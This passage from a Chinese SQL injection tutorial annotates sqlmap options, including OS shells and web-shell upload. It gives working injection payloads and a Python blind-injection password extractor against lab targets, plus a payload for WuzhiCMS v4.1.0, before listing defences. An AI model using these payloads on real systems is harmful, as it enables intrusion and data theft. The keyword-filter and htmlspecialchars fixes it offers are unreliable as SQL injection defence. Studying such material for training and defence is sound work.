--columns 目標表中有什么列,常用,直接用--colums
--schema 目標資料庫資料庫系統管理模式,
--count 查詢結果回傳一個數字,即多少個,
--dump 查詢指定范圍的全部資料,例: --dump -D admin -T admin -C username
--dump-all 查詢全部資料,例: --dump-all --exclude-sysdbs
--search 搜索列、表和/或資料庫名稱,
--comments 檢索資料庫的備注,
-D DB 指定從某個資料庫查詢資料,常用,例: -D admindb
-T TBL 指定從某個表查詢資料,常用,例: -T admintable
-C COL 指定從某個列查詢資料,常用,例: -C username
-X EXCLUDE 指定資料庫的識別符號,
-U USER 一個用戶,通常和其他連用,例: --privileges -U username (CU 就是當前用戶)
--exclude-sysdbs 除了系統資料庫,
--pivot-column=P.. 樞軸列名,不懂,
--where=DUMPWHERE 在dump表時使用where限制條件,
--start=LIMITSTART 設定一個起始,通常和--dunmp連用,
--stop=LIMITSTOP 同上,設定一個結束,
--first=FIRSTCHAR 以第一個查詢輸出的字符檢索,不懂,
--last=LASTCHAR 以最后一個查詢輸出的字符檢索,不懂+2,
--sql-query=QUERY 執行一個sql陳述句,
--sql-shell 創建一個sql的shell,
--sql-file=SQLFILE 執行一個給定檔案中的sql陳述句
(9)Brute force
--common-tables 檢查有沒有記錄表資訊的公共表,比如mysql>=5.0會有一個information_schema庫,儲存了整個資料庫的基本資訊,有這個會方便很多,
--common-columns 有沒有記錄公共列的表,比如Access就沒有列資訊,這兩種方法都會使用暴力破解,
(10)User-defined function injection
--udf-inject 編譯共享庫創建并上傳至DB Server,生成UDF實作高級注入,不懂,
--shared-lib=SHLIB 同上,不懂,
(11) File system access
--file-read=RFILE 讀取目標站點的一個檔案,例: --file-read="/etc/password"
--file-write=WFILE 寫入到目標站點的一個檔案,通常和--sql-query 連用,例: --sql-query="select "一句話木馬" --file-write="shell.php"
--file-dest=DFILE 同上,只是使用絕對路徑寫入,
(12) Operating system access
--os-cmd=OSCMD 執行一句系統命令,例: --os-shell="ipconfig -all"
--os-shell 創建一個對方作業系統的shell,遠程執行系統命令,直接用即可--os-shell
--os-pwn 同上,獲取一個OOB shell,meterpreter或VNC,
--os-smbrelay 同上,一鍵獲取一個OOB shell,meterpreter或VNC,
--os-bof 利用緩沖區溢位,
--priv-esc 自動提權,資料庫行程用戶權限提升,
--msf-path=MSFPATH Metasploit Framework本地的安裝路徑,
--tmp-path=TMPPATH 遠程臨時檔案目錄的絕對路徑,
(13) Windows registry access
--reg-read 讀一個Windows注冊表,
--reg-add 添加一個注冊表,
--reg-del 刪一個注冊表,
--reg-key=REGKEY 和之前連用,注冊表key值,
--reg-value=https://www.cnblogs.com/hongrisec/p/REGVAL 和之前連用,注冊表值,
--reg-data=REGDATA 和之前連用,注冊表資料,
--reg-type=REGTYPE 和之前連用,注冊表類別,
(14) General
-s SESSIONFILE 從一個檔案加載保存的session,
-t TRAFFICFILE 記錄流檔案的保存位置,
--batch 批處理,在檢測程序中會問用戶一些問題,使用這個引數統統使用默認值,
--binary-fields=.. 指定二進制結果的欄位,
--check-internet 在評估目標之前檢查互聯網連接,新功能,
--crawl=CRAWLDEPTH 從起始位置爬取的深度,例: --crawl=3
--crawl-exclude=.. 除了哪些頁面之外全部爬取,例: --crawl-exclude="abc.com/logout.php"
--csv-del=CSVDEL 指定在CSV輸出中使用的分隔字符,
--charset=CHARSET 強制字串編碼,例: --charset=GBK
--dump-format=DU.. 轉儲資料的格式 ,有(CSV (默認), HTML,SQLITE)三種,
--encoding=ENCOD.. 用于資料檢索的字符編碼,例: --encoding=GBK
--eta 顯示每個輸出的預計到達時間 ,
--flush-session 清慷訓話資訊,
--forms 在目標URL上決議和測驗表單,
--fresh-queries sqlmap每次查詢都會講查詢結果儲存在.sqlmap檔案夾中,下次再有相同測查詢會呼叫上次的查詢結果,使用這個引數可以忽略檔案中有的記載結果,重新查詢,
--har=HARFILE 將所有http流量記錄在一個har檔案中,
--hex dump非ascii字符時,將其編碼為16進制,收到后解碼還原,
--output-dir=OUT.. 輸出結果至檔案,例: --output-dir=/tmp
--parse-errors 決議并顯示報錯資訊,
--save=SAVECONFIG 將使用的命令保存到配置ini檔案
--scope=SCOPE 和-l類似,只是這個可以過濾資訊,使用正則運算式過濾網址,
--test-filter=TE.. 根據有效負載和/或標題,不懂,
--test-skip=TEST.. 根據有效負載和/或標題跳過測驗,不懂+2,
--update 更新sqlmap,
(15) Miscellaneous
-z MNEMONICS 引數助記符,比較傻的一個功能,例: -z "bat,randoma,ign,tec=BEU" 其實就是只要你寫的字母可以唯一匹配其他引數,就可以生效,
--alert=ALERT 在找到SQL注入時運行主機OS命令,
--answers=ANSWERS 設定問題答案,在剛剛的--batch 可以跳過很多問題,但只是選擇默認值,可以使用者個引數對特定問題設定特定答案,例: --answer "extending=N"
--beep 在問題和/或當SQL注入被發現時發出嘟嘟聲,,,,,,,,,
--cleanup 從SqLMAP特定的UDF和表中找資料庫,類似暴力破解,
--dependencies 檢查缺少的Sql映射依賴項,
--disable-coloring 禁用控制臺輸出著色,
--gpage=GOOGLEPAGE 在指定頁使用google結果,不懂,
--identify-waf 識別目標的防火墻,
--mobile cosplay 手機,
--offline 在脫機模式下作業,
--purge-output 情況輸出檔案夾,
--skip-waf 跳過WAF/IPS/IDS保護的啟發式檢測,
--smart 有大量檢測目標時候,只選擇基于錯誤的檢測,
--sqlmap-shell 創建一個互動的sqlmap_shell,不懂,
--tmp-dir=TMPDIR 更改存盤臨時檔案的本地目錄,
--web-root=WEBROOT 設定Web服務器檔案根目錄,例: --web-root="/var/www"
--wizard 新手教程,
6.2.2.2 SQLMAP攻擊實體
(1)查看當前資料庫
py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-db

(2)查看當前用戶
py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-user

(3)查看全部資料庫
py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --dbs

(4)查看資料庫全部表
py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa --tables

(5)查看表欄位
py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa -T users --columns

(6)查看資料
py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa -T users -C user,password --dump

6.3 其他靶場
6.3.1 WebGoat
6.3.1.2 WebGoat 簡介
WebGoat是OWASP組織研制出的用于進行web漏洞實驗的Java靶場程式,用來說明web應用中存在的安全漏洞,WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、執行緒安全、操作隱藏欄位、操縱引數、榷訓話cookie、SQL盲注、數字型SQL注入、字串型SQL注入、web服務、Open Authentication失效、危險的HTML注釋等等,
6.3.1.3 WebGoat安裝
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar

默認是127.0.0.1 ,只能本機訪問,需要更改
java -jar webgoat-server-8.0.0.M25.jar --server.address=0.0.0.0
需更新到最新的java版本
https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html
安裝java步驟省略,安裝好開始運行

訪問http://192.168.123.25:8080/WebGoat
6.3.1.4 測驗程序
(1)SQL Injection (advanced)
輸入除非字符型注入admin' or '1'='1


7能正常顯示8就不可以正常顯示了說明欄位為7個


Smith' union select 1,'2','3','4','5','6',7 from user_data --

Smith' union select 1,database(),user_name,password,'5','6',7 from user_system_data --


(2)SQL Injection (mitigation)
防御sql注入,其實就是session,引數系結,存盤程序這樣的注入,
// 利用session防御,session內容正常情況下是用戶無法修改的
select * from users where user = "'" + session.getAttribute("UserID") + "'";
// 引數系結方式,利用了sql的預編譯技術
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
上面說的方式也不是能夠絕對的進行sql注入防御,只是減輕,
如引數系結方式可以使用下面方式繞過,
通過使用case when陳述句可以將order by后的orderExpression運算式中添加select陳述句,
select * from users order by lastname;
------------------------------------------------------------------------------------
SELECT ...
FROM tableList
[WHERE Expression]
[ORDER BY orderExpression [, ...]]
orderExpression:
{ columnNr | columnAlias | selectExpression }
[ASC | DESC]
selectExpression:
{ Expression | COUNT(*) | {
COUNT | MIN | MAX | SUM | AVG | SOME | EVERY |
VAR_POP | VAR_SAMP | STDDEV_POP | STDDEV_SAMP
} ([ALL | DISTINCT][2]] Expression) } [[AS] label]
Based on HSQLDB
---------------------------------------------------------------------------------------
select * from users order by (case when (true) then lastname else firstname)
6.3.2 DSVW
6.3.2.1 DSVW 簡介
Damn Small Vulnerable Web (DSVW) 是使用 Python 語言開發的 Web應用漏洞 的演練系統,其系統只有一個 python 的腳本檔案組成, 當中涵蓋了 26 種 Web應用漏洞環境, 并且腳本代碼行數控制在了100行以內, 當前版本v0.1m,需要python (2.6.x 或 2.7)并且得安裝lxml庫
6.3.2.2 DSVW 下載
6.3.2.3 DSVW 安裝
安裝python-lxml,再下載DSVW
apt-get install python-lxml
git clone https://github.com/stamparm/DSVW.git
直接運行


如果出現ip無法訪問的情況改一下代碼即可
(1)Blind SQL Injection (boolean)

說明存在盲注
?id=2%20AND%201=1 正常顯示
?id=2%20AND%201=2 顯示不正常
構造陳述句進行盲注,發現不能使用mid只能使用substr,,
2 and mid((select password from users where name='admin'),1,1)='7' 不能正常顯示
2 and substr((select password from users where name='admin'),1,1)='7' 能正常顯示
http://192.168.123.25:65412/?id=2%20and%20substr((select%20password%20from%20users%20where%20name=%27admin%27),2,1)=%27e%27
密碼第一位7第二位e
通過之前做的python腳本跑出來密碼是7en8aiDoh!
(2)Blind SQL Injection (time)
http://192.168.123.25:65412/?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
這個漏洞環境用到了 SQLITE3 中的 CASE 視窗函式與 RANDOMBLOB 來實作的基于時間的盲注,
MSQL: sleep(2)
MSSQL: WAITFOR DELAY '0:0:2'
(3)UNION SQL Injection
基于聯合查詢注入: 使用UNION運算子用于SQL注入,UNION運算子是關聯兩個表的查詢結果,攻擊者故意偽造的惡意的查詢并加入到原始查詢中, 偽造的查詢結果將被合并到原始查詢的結果回傳,攻擊者會獲得其他表的資訊,
http://192.168.123.25:65412/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')
7. 真實靶場演練
這里我們采用Vulnhub靶場進行演練,
7.1 Vulnhub 簡介
Vulnhub是一個提供各種漏洞環境的靶場平臺,供安全愛好者學習滲透使用,大部分環境是做好的虛擬機鏡像檔案,鏡像預先設計了多種漏洞,需要使用VMware或者VirtualBox運行,每個鏡像會有破解的目標,
7.2 Vulnhub 安裝
- 下載(https://www.gracefulsecurity.com/Seattle-0.0.3.7z)

7.3 靶場漏洞介紹
Graceful的VulnVM是在虛擬機上運行的Web應用程式,它旨在模擬一個簡單的電子商務風格網站,該網站特意容易受到Web應用程式中常見的許多眾所周知的安全問題的影響,這實際上是該專案的預發布預覽版,但它確實具有實用性,但我計劃在不久的將來對此進行大量作業,
該計劃最終使應用程式容易受到大量問題的影響,選擇不同的過濾器處于不同的困難,以便測驗人員能夠更好地檢測和利用應用程式可以通過常見的開發方法加強的問題,以便測驗人員能夠更廣泛的經驗,
第一批過濾器現已實施!該應用程式現在支持“級別”,其中級別1不包括用戶輸入的實際過濾,級別2包括針對每個易受攻擊的功能的簡單過濾器,
7.4 靶場實戰演示
7.4.1 第一個盲注
在products.php頁面存在盲注,通過測驗發現是數字型盲注
http://10.1.0.239/products.php?type=1%20and%201=1 能正常顯示
http://10.1.0.239/products.php?type=1%20and%201=2 不能正常顯示
構造陳述句爆破資料庫名,使用之前的python腳本進行爆破,
http://10.1.0.239/products.php?type=1%20and%20mid(database(),1,1)=%27D%27
爆破出來資料庫名為seattle

判斷出來資料庫存在3個表
http://10.1.0.239/products.php?type=1%20and%20(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database())=3
三個表名
url="http://10.1.0.239/products.php?type=1%20and%20mid%28%28select%20table_name%20from%20information_schema.tables%20where%20table_schema%3ddatabase%28%29%20limit%200,1%29,1,1%29%3d%27t%27"

開始爆欄位,用如下陳述句
and mid((select column_name from information_schema.columns where table_name='tblblogs' limit 0,1),1,1)='t'
一直爆不出來欄位,發現原來是這種爆破腳本存在一個無法分辨大小寫的問題,
改進一下腳本,變成ASCII的判斷,
"""
@Product:DVWA
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
,'Cookie': 'level=1','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'}
if __name__ == '__main__':
a=""
c = 0
for k in range(0,20):
a+="\r\n"+str(k)+":"
if c==2:
print("結束了")
exit()
for i in range(1,20):
for j in range(255):
#j="t"
url="http://10.1.0.239/products.php?type=1%20and%28select%20ascii%28mid%28%28select%20table_name%20from%20information_schema.tables%20where%20table_schema=database%28%29%20limit%20"+str(k)+",1%29,"+str(i)+",1%29%29%29="+str(j)+""
try:
#print(url)
rp = urllib.request.Request(url, headers=header)
respon = urllib.request.urlopen(rp)
html = respon.read().decode('utf-8')
#print(html)
#exit()
if "Foo Vinyl" in html:
if j==0:
break
#print(j)
a+=chr(j)
print(a)
c = 0
break
except:
continue
c += 1

重新嘗試爆破欄位,改一下陳述句,用python來跑
http://10.1.0.239/products.php?type=1%20and(select%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27tblMembers%27%20limit%200,1),1,1)))=111

再去爆破資料,
用戶名
http://10.1.0.239/products.php?type=1%20and(select%20ascii(mid((select%20username%20from%20seattle.tblMembers%20limit%200,1),1,1)))=111

密碼
http://10.1.0.239/products.php?type=1%20and(select%20ascii(mid((select%20password%20from%20seattle.tblMembers%20limit%200,1),1,1)))=111

最終代碼如下,因為可能會因為字符長度過長導致時間過長的問題,就加了個判斷d,這樣40位的名字也可進行判斷
"""
@Product:DVWA
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
,'Cookie': 'level=1','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'}
if __name__ == '__main__':
a=""
c = 0
for k in range(0,20):
a+="\r\n"+str(k)+":"
if c==2:
print("結束了")
exit()
d=0
for i in range(1,40):
if d ==2:
print("結束了")
exit()
for j in range(255):
url="http://10.1.0.239/products.php?type=1%20and%28select%20ascii%28mid%28%28select%20password%20from%20seattle.tblMembers%20limit%20"+str(k)+",1%29,"+str(i)+",1%29%29%29="+str(j)
try:
#print(url)
#print(d)
rp = urllib.request.Request(url, headers=header)
respon = urllib.request.urlopen(rp)
html = respon.read().decode('utf-8')
#print(html)
#exit()
if "Foo Vinyl" in html:
if j==0:
break
#print(j)
a+=chr(j)
print(a)
c = 0
d = 0
break
except:
continue
d += 1
c += 1
7.4.2 報錯注入
http://10.1.0.239/details.php?prod=1and&type=1
說明存在5個欄位
http://10.1.0.239/details.php?prod=1%20order%20by%205&type=1 沒報錯
http://10.1.0.239/details.php?prod=1%20order%20by%206&type=1 報錯了
進行UNION注入構造陳述句,發現并沒有顯示位,所以只能進行報錯盲注了
http://10.1.0.239/details.php?prod=1%20union%20select%201,2,3,4,5&type=1
跟上面幾乎一樣,就是利用的地方不一樣
http://10.1.0.239/details.php?prod=1%20and(select%20ascii(mid((select%20password%20from%20seattle.tblMembers%20limit%200,1),1,1)))=100&type=1
7.5 漏洞修補建議
7.5.1 使用htmlspecialchars函式在GET輸入做一個過濾,

7.5.2 使用strpos函式在GET輸入做判斷是否存在關鍵字,
可以自定義關鍵字建立陣列即可
function foo($arg)
{
#echo $arg;
$array = array("and", "or","xxx");
for ($i=0; $i < 2; $i++) {
if (strpos($arg,$array[$i])!== false){
die("警告");
}
}
return $arg;
}

7.5.3 使用PDO進行加固
把查詢陳述句弄成一個物件,通過函式判斷輸入進來的值是否為數字,然后再通過正則替換內容
使用引數化查詢可有效避免SQL注入
8. CMS實戰演練
8.1 CMS介紹
五指互聯由原盛大集團PHPCMS負責人王參加創辦,匯聚眾多國內資深CMS開發者,擁有一支戰斗力強、專業的技術團隊,有超過10年的CMS專業開發經驗,
8.2 CMS下載
五指CMS官網:https://www.wuzhicms.com/
網站原始碼版本:五指CMS v4.1.0 UTF-8 開源版
程式原始碼下載:https://www.wuzhicms.com/download/
8.3 漏洞代碼分析
1、漏洞檔案位置:/coreframe/app/promote/admin/index.php 第42-60行:
public function search() {
$siteid = get_cookie('siteid');
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
$page = max($page,1);
$fieldtype = $GLOBALS['fieldtype'];
$keywords = $GLOBALS['keywords'];
if($fieldtype=='place') {
$where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";
$result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');
$pages = $this->db->pages;
$total = $this->db->number;
include $this->template('listingplace');
} else {
$where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";
$result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');
$pages = $this->db->pages;
$total = $this->db->number;
include $this->template('listing');
}
8.4 漏洞實戰演示
構造url鏈接,使用SQLMAP可獲取資料庫敏感資料,
Payload:
http://10.1.1.6/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23

抓包把資料包放到sqlmap上跑
GET /index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%%27*%23 HTTP/1.1
Host: 10.1.1.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=e7qnm2dis4d18e28k6dla00gj1; XHV_uid=nX7CXoL%2FmTtWpu9BxI8h6Q%3D%3D; XHV_username=wP2OI%2B5dB0HgOUo0%2F9IuFA%3D%3D; XHV_wz_name=LCMQtntZUxcXN9%2BtUJuyXA%3D%3D; XHV_siteid=qs71GIOYdXiGHTG0Itnn2g%3D%3D
Upgrade-Insecure-Requests: 1

8.5 漏洞修補建議
8.5.1 使用htmlspecialchars函式在GET輸入做一個過濾,

8.5.2 使用strpos函式在GET輸入做判斷是否存在關鍵字,
可以自定義關鍵字建立陣列即可
function foo($arg)
{
#echo $arg;
$array = array("and", "or","xxx");
for ($i=0; $i < 2; $i++) {
if (strpos($arg,$array[$i])!== false){
die("警告");
}
}
return $arg;
}

8.5.3 使用PDO進行加固
把查詢陳述句弄成一個物件,通過函式判斷輸入進來的值是否為數字,然后再通過正則替換內容
使用引數化查詢可有效避免SQL注入
9. SQL漏洞防御
9.1 資料庫用戶權限分明
9.2 代碼層防御 常用過濾變數
9.3 str_replace()替換過濾
單引號(’)
雙引號(")
反斜杠(\)
NULL
9.4 htmlspecialchars()函式 物體化過濾
預定義的字符是:
& (和號)成為 &
" (雙引號)成為 "
’ (單引號)成為 ’
<>成為 <>
就是把成變成一個純字符(:з」∠)
9.5 addslashes()函式 添加轉義字符
會在以下關鍵詞前面添加轉義字符
單引號(’)
雙引號(")
反斜杠(\)
NULL
9.6 輸入驗證
9.7 編碼輸出
9.8 使用PDO預編譯陳述句
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/2280.html
標籤:訊息安全
